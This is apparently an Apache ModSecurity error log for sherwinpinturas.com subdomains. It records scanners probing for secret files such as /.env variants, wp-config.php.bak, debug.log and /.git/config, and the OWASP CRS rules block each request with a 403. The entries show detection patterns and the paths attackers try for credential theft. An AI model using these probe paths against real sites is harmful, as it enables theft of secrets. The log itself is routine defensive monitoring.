[Mon Oct 26 22:24:29.391655 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auALXeFUQe6HxVFzxpduyQAAAAA"]
[Mon Oct 26 22:24:29.392486 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auALXeFUQe6HxVFzxpduyQAAAAA"]
[Mon Oct 26 22:24:29.392703 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auALXeFUQe6HxVFzxpduyQAAAAA"]
[Mon Oct 26 22:24:29.452734 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auALXYU8RArHmY5bTmWw9wAAAAY"]
[Mon Oct 26 22:24:29.452911 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auALXYU8RArHmY5bTmWw9wAAAAY"]
[Mon Oct 26 22:24:29.453133 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auALXYU8RArHmY5bTmWw9wAAAAY"]
[Mon Oct 26 22:24:29.462183 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auALXUV4AUzwl86DWirnNQAAABI"]
[Mon Oct 26 22:24:29.462410 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auALXUV4AUzwl86DWirnNQAAABI"]
[Mon Oct 26 22:24:29.462751 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auALXUV4AUzwl86DWirnNQAAABI"]
[Mon Oct 26 22:24:29.470480 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auALXeFUQe6HxVFzxpduygAAAAA"]
[Mon Oct 26 22:24:29.470808 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auALXeFUQe6HxVFzxpduygAAAAA"]
[Mon Oct 26 22:24:29.471277 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auALXeFUQe6HxVFzxpduygAAAAA"]
[Mon Oct 26 22:24:29.483552 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auALXZwShtd1X0LKqV8TVQAAABM"]
[Mon Oct 26 22:24:29.485875 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auALXZwShtd1X0LKqV8TVQAAABM"]
[Mon Oct 26 22:24:29.486186 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auALXZwShtd1X0LKqV8TVQAAABM"]
[Mon Oct 26 22:24:29.517223 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auALXeNHR3WH6txPzi7mJgAAAA0"]
[Mon Oct 26 22:24:29.517541 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auALXeNHR3WH6txPzi7mJgAAAA0"]
[Mon Oct 26 22:24:29.517997 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auALXeNHR3WH6txPzi7mJgAAAA0"]
[Mon Oct 26 22:24:29.527200 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auALXVEGzjBJO_o-KWJAggAAAAw"]
[Mon Oct 26 22:24:29.527715 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auALXVEGzjBJO_o-KWJAggAAAAw"]
[Mon Oct 26 22:24:29.528091 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auALXVEGzjBJO_o-KWJAggAAAAw"]
[Mon Oct 26 22:24:29.531230 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auALXYU8RArHmY5bTmWw-AAAAAY"]
[Mon Oct 26 22:24:29.531426 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auALXYU8RArHmY5bTmWw-AAAAAY"]
[Mon Oct 26 22:24:29.531707 2026] [security2:error] [pid 3098114:tid 3098114] [client 35.205.254.119:33516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auALXYU8RArHmY5bTmWw-AAAAAY"]
[Mon Oct 26 22:24:29.538215 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auALXUV4AUzwl86DWirnNgAAABI"]
[Mon Oct 26 22:24:29.538410 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auALXUV4AUzwl86DWirnNgAAABI"]
[Mon Oct 26 22:24:29.538624 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auALXUV4AUzwl86DWirnNgAAABI"]
[Mon Oct 26 22:24:29.548428 2026] [proxy_fcgi:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:24:29.577621 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auALXXNS3DmvLoCS_mRi8AAAABg"]
[Mon Oct 26 22:24:29.582509 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auALXXNS3DmvLoCS_mRi8AAAABg"]
[Mon Oct 26 22:24:29.582969 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auALXXNS3DmvLoCS_mRi8AAAABg"]
[Mon Oct 26 22:24:30.914166 2026] [ssl:error] [pid 3143283:tid 3143283] (70014)End of file found: [client 34.238.45.183:14557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:34.358092 2026] [ssl:error] [pid 3143283:tid 3143283] (70014)End of file found: [client 18.232.36.1:32563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:38.326420 2026] [ssl:error] [pid 3143297:tid 3143297] (70014)End of file found: [client 52.54.95.127:42131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:24:42.123749 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auALakr8KB7FmjwQ4kVzlwAAAAg"]
[Mon Oct 26 22:24:42.124062 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auALakr8KB7FmjwQ4kVzlwAAAAg"]
[Mon Oct 26 22:24:42.124437 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auALakr8KB7FmjwQ4kVzlwAAAAg"]
[Mon Oct 26 22:24:42.393521 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auALakr8KB7FmjwQ4kVzmQAAAAg"]
[Mon Oct 26 22:24:42.393758 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auALakr8KB7FmjwQ4kVzmQAAAAg"]
[Mon Oct 26 22:24:42.394108 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auALakr8KB7FmjwQ4kVzmQAAAAg"]
[Mon Oct 26 22:24:42.516257 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auALakr8KB7FmjwQ4kVzmgAAAAg"]
[Mon Oct 26 22:24:42.516517 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auALakr8KB7FmjwQ4kVzmgAAAAg"]
